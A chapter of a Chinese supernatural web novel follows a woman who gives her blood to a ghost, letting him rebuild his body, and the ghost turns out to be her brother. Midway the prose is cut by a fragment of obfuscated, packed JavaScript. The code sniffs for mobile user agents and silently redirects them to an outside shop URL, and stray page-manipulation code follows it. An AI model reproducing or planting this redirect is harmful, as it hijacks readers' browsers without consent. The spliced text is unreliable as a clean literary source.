安泽跟着张曲见一起重新回到了家门口,推开门走进了屋内。安馨还坐在桌边发愣,看到他和张曲见返回眼神亮了亮。
她站起来朝着安泽走了两步:“小泽,我刚才……”
她想解释,可又不知道该如何解释,只说出半句话就闭上了嘴。
安泽扫视过桌面和地面,他刚才低落的血迹还在那里,他一时也不知道该如何开口,下意识转头看向了张曲见。
张曲见对上了安馨的目光,后者有些紧张地后退了半步,问道:“你想要做什么?”
张曲见冷淡问道:“这话不该我来问你吗?”
安馨低下了头,沉默片刻又看向了安泽受伤的手:“小泽,你手上的伤怎么样了?对不起,都是我不好,我不想弄伤你的……”
安泽听着她哽咽的语气,心里也不舒服,道:“姐,刚才的事我不怪你,我只是希望你能清醒一点,知道自己在做些什么。”
张曲见轻声打断道:“先别说这些了,现在和她说这些,恐怕没有用的。”
“曲见,那你是要……”
张曲见走到桌边,拿过来一个空的杯子,用灵力划破了自己的指尖,几滴血落在了那空杯子里。
安馨怔怔看着她放血:“你……”
张曲见抬头看向她,淡淡道:“这不是你想要的吗?不用大费周章想办法了,我直接给你。”
她说完转身拉住安泽的手,再次出门离开。
一关上门,安泽赶紧拉起张曲见的手来看,见她的伤口已经止住了血,这才松了口气。
张曲见道:“今晚你住我们那边吧,明天再回来,我和你一起。”
“你把血给了我姐,不会出什么问题吧?”
她仍旧淡淡道:“放心,我安排了人在这附近守着,盯着那幽魂的举动。”
说话间电梯已经到了一楼,安泽一出电梯就快步跑到了冯舞的车边,问她道:“舞姐,刚才那个药呢?”
冯舞闻言望向后面的张曲见,见她完好无损松了口气,把药给了安泽。
拿到药安泽又快步跑到了张曲见的身边,小心地拉着她的手帮她涂药,车里的冯舞见状忍不住笑了。
与此同时,楼上的屋子里安馨坐在桌边看着杯子里的血不知所措。
张曲见忽然就这么主动给了,她反倒是不知道该怎么办了。原本对爱人能来到身边的渴望,现在也生出了一丝恐惧。
正想着,她的周围忽然升腾起了雾气,那渐渐弥漫开来的白雾,就像她梦中经常出现的那样。
她的心跳开始加速,捧着那带血的杯子站了起来,问道:“张玉?是你吗?”
她手里捧着的杯子轻轻晃动了两下,她低头朝杯子看去,只见里面的几滴鲜血就在她眼前化作了血雾,随后完全消失。
她轻吸了一口冷气,抱着此时空空如也的杯子更加无措。
“馨儿。”
安馨听到喊她的声音转身回头,那个她只能夜夜在梦里相见的男人,此时就站在她的面前,只是他浑身上下没有一件蔽体的衣物,就像是一个新生儿一样站在她的面前。
“张玉……你真的……”她惊讶得微微张嘴,眼睛里满是震惊。
张玉微微笑道:“馨儿,我已经重塑了肉身,以后就能一直陪在你的身边了。”
原本还存留的对未知的恐惧已经一扫而光,安馨上前两步扑进他的怀里,紧紧搂住他的腰,那温热的肌肤的触感告诉她,这是真的,不再是梦。
安泽跟着张曲见冯舞到了雅间茶楼,下车后张曲见什么都没有说,默默就进了她自己房间关上了门。
安泽有些担心她,想上前问问她情况,被冯舞伸手拦住,朝着他摇了摇头。
安泽满心疑惑,看向冯舞问道:“我姐需要曲见的血,到底说明着什么?”
冯舞拉着他往旁边走了几步,轻声道:“如果说有个幽魂指名需要某个人的血,我能想到的只有一种情况。有一种术法,可以通过血脉相连之人的鲜血,重塑肉身。”
安泽皱起了眉:“血脉相连?重塑肉身?你是说人死后还能再重生?”
“虽然听起来容易,但实际上要做到是极其难的。大多数的魂魄离体后就算是不愿意走,在阳间也撑不了几日就会消散,只有极个别的,有极强的怨念或是本就有慧根,才能找到修炼的法门,通过修炼延长留在这世上的时间。而修炼到能使用这样的术法,至少要一个甲子的时间。”
安泽轻轻点头:“原来是这样。”
冯舞接着道:“我说的难还不止于此。想要重塑肉身,需要至亲血脉的鲜血,一般来说一个幽魂就算是天赋很高,修炼了一个甲子就小有所成,可他的至亲也很可能都已经不在人间了,所以成功的概率非常小。”
安泽思考片刻,道:“要说血脉相连的至亲,那无非也就是父母子女,兄弟姐妹了?”
“是啊,除此之外的血脉,也没有成功的可能。”
安泽皱眉:“那你是说,这个幽魂是曲见的……”
“现在也不用费心去猜,反正用不了多久,该知道的自然就知道了。”冯舞说着转身也要回房,走出两步又想起了什么,转身看向安泽道,“你就住她旁边的那间房间吧,已经喊人给你打扫过了。”
安泽应了一声,又有些窘迫道:“我走得急,什么东西都没带……”
冯舞笑道:“没事,早就给你准备好。换洗的衣服,洗漱用品,里面都有。”
安泽道了声谢,推门进了给他准备的房间。
隔壁的房间里,张曲见进屋后在床边安安静静坐着,外面冯舞告诉安泽的内容她听得一字不差。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914333|213168||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>她并没有刻意想偷听,只是到了她这个修为,五感比常人敏锐。
她静坐在黑夜里,任凭那许多早就已经尘封的记忆重新涌入了脑海,那些都是她来到宵璇阁的那一天,就决定要割舍下的过往。
她轻叹了一口气,在黑暗里自言自语道:“这就是因果吗?”
黑暗中当然也没有声音回答她。
自拜师宵璇阁,师父说她天赋异禀,她的人生就重新有了目标,那就是不断地精进修为。她再也不要卷入尘世的那些情愫中去,亲情友情爱情,这些一概都不沾染。
这样一来……就再也不会被抛弃了。
当年父母兄长分别大限将至,师父每一次都问她要不要去见最后一面,送最后一程,她全部回绝。斩断凡尘俗世的感情这件事,她从来没有动摇过。
可如今,该面对的还是要面对,还是以这样的方式,自己找上了门。
她就在床边坐了一夜,一直等到天亮,等听到隔壁安泽推门出来的声音,就也推开门走了出去。
安泽见她没换衣服,连昨天冯舞给她编的发型都一点没乱,就轻声问道:“你昨晚一夜没睡吗?”
“睡不着。”张曲见的声音很轻。
安泽也不知道该说什么来安慰她,轻轻握住了她的手,道:“在我们凡人的规则里,如果公职人员在查的案子里涉及了自己的亲属,那是需要回避的,这个案子会交给别人去查。曲见,或许这件事你该让别人来做。”
张曲见轻轻摇头:“这么多年,我一直在躲避情缘因果,却躲不掉自己找上门,这又如何不是一种天道的指示?也许我曾经一直认为的坚定道心,是错的。”
冯舞也走上前道:“我之前就说过的,没有拿起,谈何放下?被放弃的亲情,应该也是你心里最大的结吧?那你就去解开它,别再把它藏在心里,假装不存在了。”
张曲见轻叹一口气,看向冯舞道:“我自己去吧,你等我回来就好。”
“他既然能用这样的法术,想必有些修为。”
张曲见垂眸轻声道:“不过几十年修为,对我来说还算不上难事。”
“但你感情上……我多少有点不放心。”
安泽握紧她的手道:“另一个当事人是我姐姐,我陪你一起去。”
张曲见转头看向他,浅浅一笑。
安泽和张曲见一起来到了安馨的住处,安泽打开门带着张曲见走进去。屋内昨晚的饭菜还摆在餐桌上没有收拾,包括他被刺伤后滴在桌上地上的血,也仍旧在那里。
安泽皱眉:“人不在吗?”
张曲见轻声道:“不,他们从昨晚开始,就没有离开过。”
她话音刚落,安馨的卧室门就打开了,一个男人从里面走了出来,眼神落在了张曲见的身上。
他喊道:“妹妹。”